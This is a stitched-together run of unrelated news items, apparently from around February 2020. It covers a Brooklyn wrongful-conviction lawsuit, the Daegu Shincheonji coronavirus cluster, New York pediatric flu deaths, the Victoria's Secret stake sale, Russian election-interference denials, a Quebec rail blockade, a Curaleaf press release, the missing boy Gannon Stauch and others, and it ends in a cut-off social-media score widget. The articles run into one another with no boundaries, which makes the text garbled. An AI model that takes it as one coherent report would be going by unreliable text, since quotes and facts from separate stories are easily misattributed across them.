wrongful murder conviction in the interest of justice,' said Brooklyn District Attorney Eric Gonzalez in a statement. 'I'm not going to say it feels foreign because I always believed I was going to get it back,' Pacheco told CBS News on his release. 'I feel peace because I was able to prove my innocence,' 'I thank God for being free, for having the right people to get me out of here and back with my family. 'I don't regret helping him, honestly, I don't,' he said of his claim that he rushed to help Cruz in the fight. 'That's the kind of person I am.' Christian Pacheco, 42, with his attorneys after the Brooklyn DA's office announced that it had proved that he was wrongly identified and then convicted of the killing of Lenny Cruz in 1995 Christian Pacheco, right, announcing the lawsuit with his attorney Derek Sells DA Gonzalez does not believe in Pacheco's complete innocence, however, as the victim's blood was still fund on his shirt. The CRU report stated that: 'This evidence shows that the only reasonable explanation for the deceased's blood on the defendant's clothing is he was assaulting the deceased while he and/or other assailants were stabbing and cutting the deceased whereupon the deceased's blood, flowing from the cutting injuries, was transferred by contact to the defendant.' The District Attorney claims that while Pacheco did not strike the fatal blow, he did stab the victim. On Wednesday, Pacheco filed the lawsuit in the Brooklyn Court of Claims. 'The amount reflects the value of freedom,' his attorney, Derek Sells told the news conference. The $100 million reward is almost twice the largest total compensation award ever granted in New York to a person who was incarcerated for wrongful conviction. The state has no limits on how much can be paid. 'There is no way you can put a price to that,' Pacheco said. 'Freedom is the most beautiful thing we have, I believe.' In New York, there have been 268 overturned convictions since 1964, 94 of which were connected to mistaken witness identification as in Pacheco's case. As the coronavirus crisis continues to deepen throughout Asia, with more than 2,200 deaths reported in mainland China, a mysterious cult has emerged at the centre of a grave and unprecedented outbreak in South Korea. The country recorded a worrying jump in confirmed cases on Friday, rising to 204 patients and one death, following what local authorities described as a super-spreading event in Daegu, South Koreas fourth-largest city. With Daegu placed on lockdown streets and shops have been deserted, the 2.5 million population warned to stay inside and disinfectant sprayed throughout the city health officials have traced the sudden spike in cases back to a church whose leader claims he is the returned Jesus Christ and a woman known simply as Patient 31. Of the 152 cases that have been found in the city, the majority have been linked to a Daegu branch of the Shincheonji Church of Jesus, where Patient 31, a woman said to be in her 60s, is known to have attended at least four services before being diagnosed. According to local reports, the woman first developed a fever on 10 February but twice refused to be tested for the coronavirus on the grounds that she had not recently travelled abroad. In what the Korean centre for disease control called a super-spreading event, a total of 44 cases, out of the local regions 72, are linked to Patient 31. Daegus municipal government said there were 1,001 Shincheonji members in the city, all of whom had been asked to self-quarantine, with 90 of them showing symptoms as of Thursday afternoon. Kwon Young-jin, mayor of Daegu, said those who have symptoms will be tested as soon as possible, while urging stronger action from the government in Seoul and calling the national response inadequate. 'A zombie apocalypse': Daegu on lockdown - in pictures Show all 10 1 /10 'A zombie apocalypse': Daegu on lockdown - in pictures 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu The near-deserted streets of Daegu's Dongseongro shopping district AFP via Getty Images 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu People line up to buy foods and supplies at a supermarket in Daegu AP 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu A beggar wearing a mask to prevent contracting the coronavirus is pictured on Dongseongro shopping street REUTERS 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu Shopkeepers on Dongseongro shopping street in central Daegu REUTERS 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu Women wearing masks in Daegu's Dongseongro shopping district REUTERS 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu Medical workers wearing protective gear transfer a suspected coronavirus patient (C) to hospital YONHAP/AFP via Getty Images 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu South Korean health officials spray disinfectant in front of the Daegu branch of the Shincheonji Church of Jesus AFP via Getty Images 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu South Korean health officials spray disinfectant AFP via Getty Images 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu A South Korean man wears a protection mask while walking in central Daegu EPA 'A zombie apocalypse': Daegu on lockdown - in pictures Coronavirus outbreak in Daegu A South Korean health official sprays disinfectant front of a hospital YONHAP/AFP via Getty Images We plan to test all believers of that church and have asked them to stay at home isolated from their families, Mr Kwon said, as South Korean vice health minister Kim Kang-lip described the situation as very grave in a separate briefing. The Shincheonji church said it has closed all of its 74 sanctuaries around the nation and told followers to instead watch its worship services on YouTube. The church, founded in 1984 by leader Lee Man-hee, is frequently accused of being a cult. Mr Lee claims to be the second coming of Jesus Christ and has promised to take 144,000 people with him to heaven on the Day of Judgement. According to the churchs teachings, only he can interpret and understand the true meaning of the bible. Shincheonji followers believe Lee Man-hee is immortal and has an eternal life, Ji-il Tark, a professor of religion at Busan Presbyterian University in South Korea, told the Associated Press. To propagate their belief, they often approach their relatives and acquaintances or sneak to other churches without telling them they are Shincheonji members. Mr Tark said Shincheonji followers are more vulnerable to virus infections as they often sit very closely on the floor during services. At Shincheonji, attending church-related gatherings isnt an option, but a requirement, he said. The church added it was fully cooperating with government quarantine efforts and accused mainstream church groups of spreading false claims, such as that it initially instructed followers to keep silent about the illness. In a statement, it said that health officials were disinfecting its church in Daegu, which has a congregation of roughly 8,000 people, and were tracing Patient 31s contacts. The church also accepted that the woman was behind the recent outbreak, but said it has been advising followers since late January to stay home if they had travelled overseas or were experiencing even mild cold-like symptoms. We are deeply sorry that because of one of our members, who thought of her condition as a cold because she had not travelled abroad, led to many in our church being infected and thereby caused concern to the local community, it said in a statement. The outbreak in Daegu, which one local compared to a zombie apocalypse, has sparked rising concern among the South Korean government. President Moon Jae-in has ordered swifter action to trace down those who recently visited the Daegu church as well as a hospital in the southeastern city of Cheongdo, where many virus cases were also reported in the past three days. In Seoul, mayor Park Won-soon said on Friday that authorities will keep the citys branches of the Shincheonji church closed until the outbreak is under control. The World Health Organization said the jump in cases in South Korea does not signal an increased risk of a global pandemic. WHO Director-General Tedros Adhanom Ghebreyesus insisted the new cases were mostly linked to known, existing clusters of infections and that South Korean authorities were following them very closely. The number of cases are really manageable, and I hope South Korea will do everything to contain this outbreak at this early stage, he said. In Daegu, though, officials are less optimistic. We are in an unprecedented crisis, Mr Kwon said on Thursday. ALBANY, NY Three more New York children have died of the flu, including another one in Central New York. The three deaths reported this week by the state Health Department raise the states tally of pediatric flu deaths so far this season to six. The state Health Department did not disclose where in Central New York the pediatric death occurred. It is the second Central New York pediatric flu death this season. The other two flu deaths reported this week were in New York City and the Hudson Valley. Central New Yorks first pediatric flu death this year was reported in January. The state also refused to say where in the region it occurred. A Monroe County child died of the flu in October. And an 11-year-old Erie County boy died of flu complications Jan. 11, even though he had been vaccinated against the virus, according to WKBW-TV. The term pediatric means children 17 or younger. The three latest deaths were announced at the same time the health department said the number of laboratory-confirmed flu cases declined 17 percent last week. Central New York continued to see the most flu activity in the state last week. There were nearly 160 lab-confirmed flu cases per 100,000 people in Central New York, the highest rate of any region. The influenza B virus, one of the flu strains circulating this season, is hitting children hard, according to the federal Centers for Disease Control and Prevention. The CDC says the B virus is more likely to cause complications in children and younger adults than in the elderly. Public health officials recommend everyone 6 months and older get a flu shot. The health department also advised the public to take these precautions: Wash your hands often with soap and water for at least 20 seconds. If soap and water are not available, use an alcohol-based hand sanitizer. Avoid touching your eyes, nose and mouth with unwashed hands. Avoid close contact with people who are sick. Stay home when you are sick. Cover your cough or sneeze with a tissue, then throw the tissue in the trash. Clean and disinfect frequently touched objects and surfaces. Where to find a flu shot James T. Mulder covers health news. Have a news tip? Contact him at (315) 470-2245 or jmulder@syracuse.com Thanks for visiting Syracuse.com. Quality local journalism has never been more important, and your subscription matters. Not a subscriber yet? Please consider supporting our work. Fashion retailer L Brands said yesterday it will sell a controlling stake in its Victoria's Secret unit to investment firm Sycamore Partners, valuing the lingerie brand at $1.1bn (1.01bn), as it focuses on its core Bath & Body Works brand. The private equity firm will own 55pc of Victoria's Secret, the world's best known specialty retailer for lingerie, while L Brands will keep a 45pc stake. The Columbus, Ohio-based company's Bath & Body Works, which sells soaps and home fragrances, would be run as a standalone company. Chief executive Leslie Wexner, who bought Victoria's Secret in 1982 and shaped its image by hiring supermodels to wear jewel-encrusted bras and wings at its annual fashion shows, will step down and hand over to Bath & Body Works executive Andrew Meslow. Wexner, 82, will become chairman emeritus while Meslow, now chief operating officer at Bath & Body Works, will join the board. Three other directors, including the lead independent director, will be replaced. The company's shares were down 3.5pc in early trading at $23.45 after having climbed in the last weeks amid speculation that Sycamore would buy the ailing retailer. The moves come after activist investor Barington Capital last year bought a small stake and urged the company to split fast-growing Bath & Body Works from Victoria's Secret, push Wexner to give up his CEO position and refresh the board, where the majority of directors were men. Barington serves as an adviser to the company. L Brands, which has a market valuation of about $7bn, has seen sales dwindle at its Victoria's Secret business as it faces increased competition from online retailers. It has been criticised for an outdated brand image and for lingerie that was not inclusive of all body types. The brand accounted for nearly half of the company's $13.24bn revenue in 2019, but has seen sales decline for at least four quarters. Bath & Body Works' revenue has risen. "We believe this structure will allow Bath & Body Works to continue to achieve strong growth and receive its appropriate market valuation," said Wexner, who owns a 13.24pc stake in L Brands and has been leading the company since 1963, making him the longest-serving CEO of a S&P 500 company. The company last year cancelled its fashion show and chief marketing officer Edward Razek left. Reuters Russia's alleged interference sparked a two-year-long U.S. investigation headed by Special Counsel Robert Mueller. The Kremlin on Friday denied Russia was interfering in the 2020 U.S. presidential campaign to boost President Donald Trump's re-election chances following reports that American intelligence officials warned Congress about the election threat last week. U.S. intelligence officials told members of the House of Representatives Intelligence Committee in a classified briefing last week that Russia was again interfering in American politics ahead of November's election, a person familiar with the discussion told Reuters. Trump has since ousted the acting intelligence chief, replacing him this week with a political loyalist in an abrupt move as Democrats and former U.S. officials raised the alarm over national security concerns. Read alsoFox News: Barr taps network of prosecutors to review Russia-Ukraine cases On Twitter, the Republican president accused Democrats in Congress of launching a misinformation campaign "saying that Russia prefers me to any of the Do Nothing Democrat candidates." Trump called it a "hoax" in his Friday tweet. U.S. officials have long warned that Russia and other countries would seek to interfere in the Nov. 3 presidential election, following Russia's meddling in the 2016 campaign that ended with Trump's surprise victory over Democratic rival Hillary Clinton. U.S. intelligence agencies concluded that the Kremlin used disinformation operations, cyber attacks and other methods in its 2016 operation in an effort to boost Trump, an allegation that Russia denies. Trump, sensitive to doubts over the legitimacy of his win, has also questioned that finding and repeatedly criticized American intelligence agencies. On Friday, the Kremlin said the latest allegations were false. "These are more paranoid announcements which, to our regret, will multiply as we get closer to the (U.S.) election," Kremlin spokesman Dmitry Peskov told reporters. "They have nothing to do with the truth." Russia's alleged interference sparked a two-year-long U.S. investigation headed by Special Counsel Robert Mueller. Mueller found no conclusive evidence of coordination between Russia and the Trump campaign. He also pointed at 10 instances in which Trump may have attempted to obstruct his investigation, as Democrats alleged, but left any finding of obstruction to Congress. Trump is seeking a second term in office. Last July, he called on Ukrainian President Volodymyr Zelensky to investigate one of his potential Democratic rivals, former Vice President Joe Biden, sparking his impeachment in the Democratic-controlled House. Trump, who was later acquitted by the Republican-led U.S. Senate, has also publicly called on China to probe Biden. Last week's classified congressional briefing sparked a sharp response by Trump, who rebuked acting Director of National Intelligence Joseph Maguire for allowing his staff to brief the lawmakers, including Democratic House Intelligence Committee Chairman Adam Schiff, who led the impeachment inquiry, the New York Times reported, quoting five people familiar with the matter. Trump then dismissed Maguire, announcing this week that Richard Grenell, a Trump loyalist, would be the acting intelligence chief, even as he continues serving as U.S. ambassador to Germany. His appointment drew sharp rebukes from Democrats and other critics who said Grenell lacked intelligence experience. Trump tweeted on Friday that four candidates were being considered for the permanent post of intelligence head and that a decision would come in the next few weeks. Bhubaneswar, Feb 21 : At least 17 devotees were injured after a large boulder hit them while they were standing in queue for darshan of the presiding deity at hilltop Jatia Baba Temple in Odisha's Sundargarh district on Friday, said police. The devotees had gathered at the temple on the occasion of Maha Shivratri and the incident occurred when a large boulder got dislodged and crashed into the devotees. The devotees were walking up the hill slope to have darshan of the presiding deity of the temple, which is located atop the Jatiapahar Hill near Birmitrapur. Inspector in-charge of the Biramitrapur police station A.C. Majhi said that 17 devotees were injured in the incident. The injured were first rushed to Hatibari Community Health Centre (CHC) from where those seriously injured were shifted to the Rourkela Government Hospital. A Republican congressional candidate from Connecticut who became implicated in the House impeachment inquiry last month shared a video of himself doing push-ups in front of the White House on February 20. Robert Hyde, a Trump donor who suggested he surveilled Marie Yovanovitch when she was the US ambassador to Ukraine, shared the video on Twitter as part of an initiative to raise awareness of veteran suicides. After doing the push-ups, Hyde can be seen taking his phone back from a stranger who he had apparently asked to film him. I hope everyone has a great day, Hyde says toward the end of the footage. Active Heroes, a nonprofit with a mission to end veteran suicide, per its website, is promoting the push-up challenge, which consists of posting videos of yourself completing 22 push-ups a day for 22 days and seeking pledges to the charity. Active Heroes says the number 22 is a reference to a 2012 statistic from the Department of Veterans Affairs that 22 veterans a day die by suicide. More recent data from the VA has the number as 20. Storyful has previously reported on Hydes ties with the Trump family. Among materials made public by the House Intelligence Committee during the impeachment inquiry were screenshots showing a series of text message exchanges between Lev Parnas, a contact of Trumps personal attorney Rudy Giuliani, and Hyde. The relationship between the two men is unclear, and according to reports, Hyde has a record of erratic behavior, and publicly claimed that he was put in a psychiatric facility. Credit: @rfhyde1 via Storyful I talked to my colleague Jan Ransom, who is covering the trial for The Times, about the recent developments in the courthouse. This is a condensed version of our conversation. What happened in court this week? Jurors began deliberating on Tuesday. Soon after, they rang a bell to alert the court that they had a question. The first three days of deliberations continued this way. At the end of each day, Mr. Weinstein typically responds to reporters questions, even if sarcastically, as he shuffles with a walker toward the elevators outside of the courtroom. But since the deliberations began, he has been quiet opting to just crack a slight smile, keeping moving without a word. What questions has the jury asked? The jury has sent seven notes with multiple questions; it wanted, for instance, an explanation of the charges and legal terms such as consent and forcible compulsion. It also requested to hear the testimony of Annabella Sciorra and Miriam Haley, as well as to review emails and communications related to the women. Ms. Sciorra was the prosecutions strongest witness. On Tuesday, the jury asked for an explanation as to why they could not convict on Ms. Sciorras allegation and for clarification on the statute of limitations. It seemed the jury was assessing the credibility of the accounts provided by Ms. Sciorra and Ms. Haley, and trying to determine whether the evidence supports a conviction on the predatory sexual assault charge. What other news has come out? The lead prosecutor, Joan Illuzzi, accused Mr. Weinsteins lead lawyer, Donna Rotunno, of jury tampering after she wrote an op-ed in Newsweek telling the jury to do the right thing. About a year and a half ago, longtime patrons of the pioneering grocery delivery service FreshDirect started complaining that orders were arriving hours late. There were broken eggs and spoiled fruit. One customer reported that she had paid $200 for groceries only to receive nothing but seltzer and a loaf of bread. The source of the problems was FreshDirects multimillion-dollar headquarters in the Bronx, a distribution center with nine miles of conveyor belts that the company opened in the summer of 2018 after moving out of a smaller facility in the Long Island City section of Queens. A complex automated system was creating confusion on the floor of the new warehouse, resulting in canceled orders, missing items and long waits. At the height of the crisis, FreshDirects chief executive, Jason Ackerman, stepped down and was replaced by David McInerney, who had helped run the company since the early 2000s. Over the next months, FreshDirect made logistical fixes that gradually eliminated the distribution problems. But plenty of damage had been done. We had so much trust, we couldve built a bank of trust, Mr. McInerney said in a recent interview. Over time, that trust was eroded. ST-LAMBERT, QUE.Protesters at a rail blockade south of Montreal began dismantling their encampment Friday night after a contingent of riot police officers arrived to enforce a court injunction. They took downs tents and carried items such as sleeping bags, pots, propane tanks and a wood stove to the edge of a security perimeter established earlier in the day by Longueuil municipal police. The protesters, who since Wednesday have been blocking the rail line in a show of solidarity with Wet'suwet'en hereditary chiefs in British Columbia, said they planned to make a declaration later Friday. Their appeal for supporters to demonstrate near the blockade site in St-Lambert, Que., drew more than 50 people. Emotions flared earlier in the day as the more than two dozen protesters dug in next to Canadian National Railway tracks, despite being served with an injunction Thursday ordering that the site be cleared. Quebec Premier Francois Legault called for the injunction to be enforced "rapidly." Police officers arrived in large number Friday afternoon near the encampment. There were several rounds of talks between police and the masked protesters, and though the impasse continued, some people chose to leave. The blockade has interrupted freight traffic as well as passenger service for suburban commuters and Via Rail travellers. The Wet'suwet'en hereditary chiefs oppose the Coastal GasLink pipeline project that would carry natural gas to the B.C. coast, though others in the community support the project. Countrywide protests and blockades have followed a move by the RCMP to enforce a court injunction this month against the hereditary chiefs and their supporters, who had been obstructing an access road to a Coastal GasLink work site. Prime Minister Justin Trudeau on Friday called the blockades around the country unacceptable and untenable and said they have to come down. "Let us be clear: all Canadians are paying the price. Some people can't get to work, others have lost their jobs," Trudeau said. "Essential goods ... cannot get where they need to go." Jean-Yves Lessard, who joined the protesters on Friday morning, said Trudeau's government was to blame. "If they had done what they needed to at the beginning, people wouldn't be here," he fumed to reporters. "Sadly, it's bad for the economy and business, but it's not them you should be angry with. Tell Trudeau to go and sit down with the hereditary chiefs." Legault said he would leave it to police to enforce the injunction, but he hoped the blockade would be removed soon. "We need these tracks for transporting cargo, to avoid job losses, to avoid losses for companies," he told reporters. "The law has to be respected, and obviously I hope it is done in an orderly fashion." The premier estimated losses to the provincial economy due to the rail blockades at up to $100 million a day. Denis Bisson, who owns a company north of Montreal selling slate flooring and countertops, stopped by the blockade Friday. He said he depends on the rail line to supply his business with raw materials from a quarry in Nova Scotia. Switching to flatbed trucks would quadruple the cost per load, he said. "I'm afraid it's going to last two or three weeks, and I'm beginning to be out of stock in my yard," he said, holding a sign that read in French "hostage for one day or every day?!" A protester told him they were standing up for Indigenous rights and the environment. "But they are hitting people that have nothing to do with that," Bisson said. "They're making people pay for something that we're not involved in." The St-Lambert protesters previously said they would continue to block the railway until the RCMP leaves the Wet'suwet'en territory. The injunction granted to CN Thursday by Superior Court Justice France Dulude authorized "any police services or peace officers" to assist the company in executing the order in St-Lambert. Read more about: CAIRO, Feb 20 (Reuters) - Kuwait Airways suspended all flights to Iran starting on Thursday on the advice of the Kuwaiti health ministry and civil aviation authority amid fears about a coronavirus outbreak in the country. Kuwait Airways is the second flagship carrier in the region to suspend flights to Iran after Iraq Airways stopped flights earlier on Thursday. Two Iranians who tested positive for the coronavirus have died of respiratory illness, and three others tested positive on Thursday, the Iranian health ministry said. (Reporting by Alaa Swilam Editing by Sonya Hepinstall) National Cannabis Leader will be Part of State's First-in-the-Nation Research Program and Help Shape the Future of Medical Cannabis Treatment PHILADELPHIA, Feb. 21, 2020 /PRNewswire/ -- Curaleaf Holdings, Inc. (CSE: CURA) (OTCQX: CURLF) ("Curaleaf" or the "Company"), a leading vertically integrated cannabis operator in the United States, has been approved as a Clinical Registrant in Pennsylvania by the Commonwealth's Department of Health, Office of Medical Marijuana. Under this designation, the Company will be permitted to open a cultivation and processing facility and up to six dispensaries, under the Commonwealth's medical marijuana research program. As a Clinical Registrant, Curaleaf will support research initiatives into the potential medical benefits of cannabis by providing medical cannabis, expertise and distribution to patients participating in studies. In announcing the awards of the clinical registrant licenses, Dr. Rachel Levine of the Pennsylvania Department of Health remarked; "Pennsylvania remains on the forefront for clinical research on medical marijuana. This research is essential to providing physicians with more evidence-based research to make clinical decisions for their patients. It is the cornerstone of our program and the key to our clinically based, patient-focused program for those suffering with cancer, PTSD and other serious medical conditions." Joe Lusardi, Chief Executive Officer of Curaleaf, said, "We thank the Pennsylvania Department of Health for approving Curaleaf to participate in this vital research program. The Pennsylvania State Legislature mandated research as a component of its medical cannabis program, setting it apart from the rest of the nation. Curaleaf has always been focused on high-quality cannabis products, as well as superior patient care and education. We look forward to contributing to medical research that will ultimately benefit not only the residents of the Commonwealth, but the entire country." About Curaleaf Holdings Curaleaf Holdings, Inc. (CSE: CURA) (OTCQX: CURLF) ("Curaleaf") is a leading vertically integrated multi-state cannabis operator with a dominant presence on both the East and West coasts of the United States, the largest cannabis market in the world. As a high-growth cannabis company known for quality, expertise and reliability, the company and its brands, Curaleaf and Select, provide industry-leading service, product selection and accessibility across the medical and adult-use markets. Strategically positioned in highly populated, limited-license states, the company currently operates in 14 states with 53 dispensaries, 15 cultivation sites, 24 processing sites and employs over 2,200 people across the United States. For more information please visit www.curaleaf.com. INVESTOR CONTACT Curaleaf Holdings, Inc. Dan Foley, VP, Finance and Investor Relations [email protected] MEDIA CONTACT Tracy Brady, VP Corporate Communications, Curaleaf [email protected] FORWARD LOOKING STATEMENTS This media advisory contains forwardlooking statements and forwardlooking information within the meaning of applicable securities laws. These statements relate to future events or future performance. All statements other than statements of historical fact may be forwardlooking statements or information. Generally, forward-looking statements and information may be identified by the use of forward-looking terminology such as "plans", " expects" or, "proposed", "is expected", "intends", "anticipates", " or "believes", or variations of such words and phrases, or by the use of words or phrases which state that certain actions, events or results may, could, would, or might occur or be achieved. More particularly and without limitation, this news release contains forwardlooking statements and information concerning the receipt of a Pennsylvania grower/processor permit and dispensary permit as an approved Clinical Registrant under the Pennsylvania Department of Health. Such forward-looking statements and information reflect management's current beliefs and are based on assumptions made by and information currently available to the company with respect to the matter described in this new release. Forward-looking statements involve risks and uncertainties, which are based on current expectations as of the date of this release and subject to known and unknown risks and uncertainties that could cause actual results to differ materially from those expressed or implied by such statements. Additional information about these assumptions and risks and uncertainties is contained under "Risk Factors and Uncertainties" in the Company's latest annual information form filed September 23, 2019, which is available under the Company's SEDAR profile at www.sedar.com, and in other filings that the Company has made and may make with applicable securities authorities in the future. Forward-looking statements contained herein are made only as to the date of this press release and we undertake no obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required by law. We caution investors not to place considerable reliance on the forward-looking statements contained in this press release. The Canadian Securities Exchange has not reviewed, approved or disapproved the content of this news release. SOURCE Curaleaf Holdings, Inc. Related Links http://www.curaleaf.com The mother of the abducted Nigerian schoolgirl Leah Sharibu Thursday met with the Archbishop of Canterbury Justin Welby in London. Rebecca Sharibu is in London to mark the second anniversary of her daughters abduction by a faction of Boko Haram. We were honoured to share the Eucharist with Rebecca Sharibu today, Welby said in a tweet. A woman of profound courage and faith, Rebecca is mother of 16-year-old Christian Leah Sharibu, kidnapped by #BokoHaram two years ago. We pray for you, and for Leah to be released free from harm. Sharibu told a rally in Westminster, London on Wednesday that she was in great pain over her daughters abduction. My daughter, my only daughter, is already two years in captivity, and President Buhari promised me that she would be released but she has not been released. I need Leah back home and I need him to set Leah free, just like the other girls were set free, Rebecca Sharibu said in Hausa. The students who were taken along with Leah have been brought back to their parents but we have been going through pain for two years, pains that cannot be described. On a daily basis, we hear Leah this, Leah that. We are in great pains. At times, when the stories come out, we feel so pained, we feel so terrible. We are constantly in pain, all we desire is to have Leah back with us. Follow Us on Facebook @LadunLiadi; Instagram @LadunLiadi; Twitter @LadunLiadi; Youtube @LadunLiadiTV for updates The mother of an 11-year-old Colorado boy who has been missing for almost a month broke down in tears as she opened up about his disappearance. Gannon Stauch was last seen between 3.15pm and 4pm on January 27 as he allegedly headed to a friend's house in Colorado Springs. The boy was originally categorized as a runaway, before his case was upgraded to that of a missing/endangered person. In an interview with ABC News, his mother, Landen Hiott, pleaded with the public for help in returning her son home. 'I don't want to wait another day,' she said. 'He is mommy's little man. If he is not with me, he is hurting.' SCROLL DOWN FOR VIDEO Landen Hiott (pictured), the mother of missing Gannon Stauch, 11, begged the public for help in finding him Hiott (pictured) said she wants to keep sharing Gannon's story and described him a jokester who loved to make everyone happy Gannon (left and right) was last seen at his home in Colorado Springs on January 27. His stepmom said she saw him leave to go to a friend's house between 3.15pm and 4pm Hiott lives in South Carolina and said that as soon as she heard the news of her son's disappearance, she flew into Colorado. 'This is the longest time that I have not heard his voice, and the only thing I could do is just keep playing videos back and forth of: "Mommy, I love you,"' Hiott told ABC News. Gannon was reported missing by his stepmother, Letecia Stauch, who is married to his father, Albert Stauch. Initially reported as a runaway, his case was changed to a missing/endangered persons case on January 30. Hiott says she is certain that her son would not run away. 'When I heard that he ran away, I knew that was the first sign,' she said. 'Like, that is not my boy100 percent without a shadow of a doubt, my boy would not run away.' TIMELINE OF GANNON STAUCH CASE: Jan. 27: Gannon Stauch is reported as a runaway; last seen by stepmother Letecia Stauch between 3.15 pm-4 pm Jan. 30: Case is upgraded to a missing and endangered childs case due to his age, need for medication, winter weather and the length of time hes been missing Jan. 31: Letecia Stauch gives interview to KKTV saying deputies had threatened to shoot her and put her 17-year-old daughter in handcuffs Feb. 4: Neighbor Roderrick Drayton shares surveillance video showing what appears to be Letecia returning home at 2.19pm without Gannon in her pickup truck; claims boy's father broke down in tears when he saw the video Feb. 5: District Attorney Dan May visits Stauchs home; Stauch family make YouTube statement to bring Gannon home Feb. 7: Searchers use submersible remotely operated vehicle with sonar to scour a pond near Stauch family's home Feb. 8: Candlelight prayer vigil is held at Lorson Ranch Feb. 11: Letecia Stauch releases statement to Fox 31 claiming Gannon was in her truck on Jan. 27 and that later left with a 'friend' Advertisement Surveillance video from a neighbor's home captured Letecia leaving the home with Gannon in her pickup truck at around 10.13am on January 27. However, when she returned at 2.19pm, Gannon is nowhere to be seen Footage from 2.19pm to the time Gannon was reportedly last seen is not available, but the sheriff's office said earlier that officers had no surveillance video showing the boy leaving the property. Roderrick Drayton, the neighbor whose camera picked up the footage, told ABC News that Gannon's father broke down in tears after he saw the video. Drayton said when he showed the clip to Albert Stauch, he burst into tears and accused Letecia of 'lying' about Gannon walking to a friend's house. '[Albert Stauch] just broke down crying and said: "She lied, she lied about the time. He didn't go to a friend's house''.' After news of the video broke, Letecia gave an interview to KKTV, insisting that she played no part in her stepson's disappearance. 'I took care of Gannon for the last two years in our home because his mother didn't want to do it,' she said. 'I would never ever, ever hurt this child...these people have these conspiracy theories...I'm like: "Why are you saying Gannon is dead?" He is not dead. We are going to find Gannon.' In a statement to KDVR, Letecia insisted that her stepson was, in fact, in her vehicle when they returned home from a shopping trip that afternoon, but he got out from the side of the truck that was not facing their neighbor's camera. But surveillance footage shared by a neighbor shows Gannon entering a car with his stepmother that morning but not returning with her that afternoon (pictured) Gannon was last seen wearing a blue jacket, black jeans and sneakers. He has brown eyes, brown hair, weight 90 pounds and stands around four-foot-nine Hiott said she wants to keep sharing Gannon's story and described him a jokester who loved to make everyone happy. 'I don't know how to go forward without him,' she told ABC News. 'He's my hero. He gives me life, he gives me energy. If a bad day is going bad, I just hear his voice and it makes it better.' Gannon was last seen wearing a blue jacket, black jeans and sneakers. He has brown eyes, brown hair, weight 90 pounds and stands around four-foot-nine. The El Paso County Sheriff's Office also said the boy needs medication, but did not specify what for. If you have any information as it relates to Gannon's case, please call the Sheriff's Office Tip Line at 719-520-6666 or email Tips@elpasoco.com. From Ireland to America and fashion to homeswares, designer Helen James is developing interiors products for the high street with an emphasis on sustainability, beauty and function, writes Carol OCallaghan CAN you imagine being described as Irelands answer to Martha Stewart? Sometimes compared to this American household name, homegrown Helen James, homeware designer and author of A Sense of Place, has settled into the role of top-notch designer of the Considered range for Dunnes Stores. In a career spanning two continents, she started as a designer for Donna Karan in New York until 9/11 when she decided to move her young family back to Ireland and the contrast of rural Westmeath. With a background in textile design she started designing clothes. But it was the demise of the Celtic Tiger which saw her packing up the wagons and heading west for the second time. By then I had a third child and was toying with the idea of New York again, when a friend approached me about doing a home range for Donna Karan. So, we moved the family back to New York for 18 months but it was hard living there with three small kids, she said. HOMEWARE BOUND The Evissa tableware from the Considered range at Dunnes Stores (mug 8, cereal bowl 10, side plate 10) Returning to Ireland in 2011, it was while designing rugs and homewares for Avoca she received an approach from Dunnes Stores to work on its homewares. Taking up the mantle, this led to the idea for the Considered range. The first collection was a concept about cooking a meal at home, so I designed everything from the notebook to write your shopping list, to the shopping bag and apron, cookware, candles, tableware and the thank you card. Season after season it has evolved and grown into a lifestyle brand, she said. Now expanding beyond the kitchen and dining experience and into the living room, Helen has added lighting, cushions and occasional furniture. I like the idea of beauty in the everyday where we dont keep plates in a drawer for special occasions. Things for use every day are the bedrock of the collection, said Helen. SUSTAINABLE SUPPLY At a time when sustainability is paramount, she adds, Were using natural materials but we have to work with suppliers who can make enough of them. We have Portuguese tablewares which have a reflective glaze so no two are the same. We have jute rugs rather than manmade fabric. Theyre made from jute grown in a sustainable way. Theres a sense of soul to things. Nothing that is pretending to be something else. With Considered ranging in price from 3 for a tea towel to 210 for the Gobi oak chair, Helens advice for home interiors shopping is, Buy things you love. Spend your money on what youre going to use every day. ART OF INSPIRATION Textiles in the Considered range include the Stockholm and Leshko cushions (from 15) Asked for her favourite product, she quotes the artist Paul Klee. He used to say, Always hate your last painting. Its a bit like that for me in that my favourite product is the next thing Im doing. Right now its the tablewares Im working on, but once it hits the shop floor Im on to the next thing. When shes not at work, life revolves around her three boys in their Dublin home, where they moved to from Westmeath while she was working for RTE. I was a judge on Home of Year but there was so much going on that I dropped out after the first season but I did love it. If that wasnt a full enough schedule, she found time to write A Sense of Home, inspired by her work in design, how she creates her own home environment and her love of food. RECIPE FOR LIFE Stylish storage with t h e C o n s i d e r e d bamboo tier shelf unit (90) Ive baked since I was about 12. My grandparents were great bakers, but not my parents although theyre great cooks, she said. They travelled to the Middle East and brought back things like dried limes. I grew up on hummus in the 70s and envied my friends. I used to say, why cant we have fish fingers? But now I realise. Cooking is a meditation for me although sometimes its a pain in the neck getting home from work and having to get the dinner on. Baking is for therapy; cooking has to be done, but I get a great joy out of it too. As for her being described as Irelands answer to Martha Stewart, she laughs, I take it as a massive compliment even though my style is very different to hers. I think I have a bit more empire-building to do yet. Congratulations, flashbackcheck.com got a very good Social Media Impact Score! Show it by adding this HTML code on your site: Flashbackcheck.com scored 85 Social Media Impact. Social Media Impact score is a measure of how much a site is popular on social networks. 4/5.0 Stars by Social Team This CoolSocial report was updated on 14 Dec 2012, you can refresh this analysis whenever you want. flashbackcheck.com is very popular in Facebook, Twitter, Google Plus and Delicious. It is liked by 3573 people on Facebook, it has 386 twitter shares and it has 26 google+ shares. Add a widget like this on your site: click here The total number of people who shared the flashbackcheck homepage on Google Plus by a google +1 button. This is the sum of two values: the total number of people who shared, liked or recommended the flashbackcheck homepage on Facebook + the total number of page likes (if flashbackcheck has a Facebook fan page). The total number of people who shared the 